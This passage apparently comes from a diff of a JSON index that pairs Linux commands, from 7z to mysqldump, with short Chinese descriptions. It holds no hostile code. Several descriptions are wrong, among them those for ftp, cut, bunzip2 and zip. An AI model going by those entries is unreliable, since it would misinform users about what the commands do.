convert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file +{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。用 7-Zip 解压过：zip、iso、7z压缩文件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"